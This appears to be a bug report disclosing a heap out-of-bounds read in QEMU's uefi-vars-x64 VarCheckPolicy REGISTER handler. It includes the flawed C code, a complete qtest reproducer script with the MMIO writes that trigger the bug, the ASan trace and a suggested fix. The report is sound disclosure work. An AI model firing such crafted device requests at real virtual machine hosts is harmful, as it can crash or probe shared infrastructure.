I can trigger a host-side AddressSanitizer heap-buffer-overflow in current QEMU master through the `uefi-vars-x64` device's VarCheckPolicy REGISTER command. The issue is in `uefi_vars_mm_check_policy_register()`. The handler treats the bytes after `mm_check_policy` as a `variable_policy_entry`, and reads `pe->size` before checking that the REGISTER request is long enough to contain even the fixed `variable_policy_entry` header: ```c static uint32_t uefi_vars_mm_check_policy_register(uefi_vars_state *uv, mm_header *mhdr, mm_check_policy *mchk, void *func) { variable_policy_entry *pe = func; ... if (uadd64_overflow(sizeof(*mchk), pe->size, &length)) { return uefi_vars_mm_policy_error(mhdr, mchk, EFI_BAD_BUFFER_SIZE); } if (mhdr->length < length) { return uefi_vars_mm_policy_error(mhdr, mchk, EFI_BAD_BUFFER_SIZE); } if (pe->size < sizeof(*pe)) { return uefi_vars_mm_policy_error(mhdr, mchk, EFI_BAD_BUFFER_SIZE); } ``` A guest can send a VarCheckPolicy REGISTER request with `mhdr.length == sizeof(mm_check_policy)` and no trailing `variable_policy_entry`. In that case `func` points one-past the allocated MM communication buffer payload, and the first `pe->size` read is an out-of-bounds heap read. ## Environment Reproduced on current master: - QEMU commit: `b83371668192a705b878e909c5ae9c1233cbd5fb` - build: `../configure --target-list=x86_64-softmmu --enable-asan --disable-werror` - machine used by reproducer: `q35` - device: `uefi-vars-x64` ## Security boundary note The reproducer uses qtest only for deterministic MMIO writes to the `uefi-vars-x64` device. The affected path is the `uefi-vars` virtual device MMIO interface (`VarCheckPolicyLibMmiHandler`) exposed to the guest when `uefi-vars-x64` is configured on an x86_64 `q35` virtualization machine. This should be treated as guest-accessible device emulation, not as a qtest-only issue. QEMU's UEFI variables documentation describes `uefi-vars` as a virtual device and notes that this host-side variable service increases the host attack surface. ## Steps to reproduce Build an ASan QEMU: ```text mkdir build-asan cd build-asan ../configure --target-list=x86_64-softmmu --enable-asan --disable-werror ninja -j$(nproc) qemu-system-x86_64 cd .. ``` Save the following as `repro_uefi_vars_policy_register_short_oob.sh`: ```sh #!/usr/bin/env bash set -euo pipefail QEMU=${QEMU:-./build-asan/qemu-system-x86_64} TMPDIR=$(mktemp -d) trap 'rm -rf "$TMPDIR"' EXIT JSON="$TMPDIR/vars.json" cat > "$JSON" <<'JSON' { "version": 2, "variables": [] } JSON ASAN_OPTIONS="${ASAN_OPTIONS:-abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1}" \ "$QEMU" \ -display none \ -nodefaults \ -machine q35,accel=qtest \ -m 128M \ -device uefi-vars-x64,jsonfile="$JSON" \ -qtest stdio <<'QTEST' # uefi-vars-x64 MMIO base is 0xfef10000. # Trigger VarCheckPolicyLibMmiHandler REGISTER with no variable_policy_entry. # Buffer size is exactly sizeof(mm_header)+sizeof(mm_check_policy)=0x2c. writel 0xfef10004 0x0000002c writew 0xfef10002 0x0004 # mm_header.guid = VarCheckPolicyLibMmiHandlerGuid da1b0d11-d1a7-46c4-9dc9-f3714875c6eb writel 0xfef10010 0xda1b0d11 writel 0xfef10010 0x46c4d1a7 writel 0xfef10010 0x71f3c99d writel 0xfef10010 0xebc67548 # mm_header.length = sizeof(mm_check_policy) = 0x14 writel 0xfef10010 0x00000014 writel 0xfef10010 0x00000000 # mm_check_policy: signature, revision, command=REGISTER(3), result writel 0xfef10010 0x00000000 writel 0xfef10010 0x00000000 writel 0xfef10010 0x00000003 writel 0xfef10010 0x00000000 writel 0xfef10010 0x00000000 # dispatch PIO MM writew 0xfef10002 0x0003 QTEST ``` Run: ```text chmod +x repro_uefi_vars_policy_register_short_oob.sh ./repro_uefi_vars_policy_register_short_oob.sh ``` ## ASan output ```text ERROR: AddressSanitizer: heap-buffer-overflow READ of size 2 #0 uefi_vars_mm_check_policy_register ../hw/uefi/var-service-policy.c:279 #1 uefi_vars_mm_check_policy_proto ../hw/uefi/var-service-policy.c:356 #2 uefi_vars_cmd_mm ../hw/uefi/var-service-core.c:111 #3 uefi_vars_cmd ../hw/uefi/var-service-core.c:182 #4 uefi_vars_write ../hw/uefi/var-service-core.c:262 #5 memory_region_write_accessor ../system/memory.c:492 #6 access_with_adjusted_size ../system/memory.c:568 #7 memory_region_dispatch_write ../system/memory.c:1550 #8 flatview_write_continue_step ../system/physmem.c:3263 #9 flatview_write_continue ../system/physmem.c:3293 #10 flatview_write ../system/physmem.c:3324 #11 address_space_write ../system/physmem.c:3444 #12 qtest_process_command ../system/qtest.c:530 0x... is located 4 bytes after 44-byte region [...) allocated by thread T0 here: #0 calloc ... #1 g_malloc0 ... #2 memory_region_write_accessor ../system/memory.c:492 SUMMARY: AddressSanitizer: heap-buffer-overflow ../hw/uefi/var-service-policy.c:279 in uefi_vars_mm_check_policy_register ABORTING ``` ## Suggested fix Validate that the REGISTER payload contains the fixed `variable_policy_entry` header before reading any field from it. Then validate the variable-length `pe->size` against `mhdr->length`. For example: ```c static uint32_t uefi_vars_mm_check_policy_register(...) { variable_policy_entry *pe = func; uint64_t length; length = sizeof(*mchk) + sizeof(*pe); if (mhdr->length < length) { return uefi_vars_mm_policy_error(mhdr, mchk, EFI_BAD_BUFFER_SIZE); } if (pe->size < sizeof(*pe)) { return uefi_vars_mm_policy_error(mhdr, mchk, EFI_BAD_BUFFER_SIZE); } if (uadd64_overflow(sizeof(*mchk), pe->size, &length) || mhdr->length < length) { return uefi_vars_mm_policy_error(mhdr, mchk, EFI_BAD_BUFFER_SIZE); } ... } ```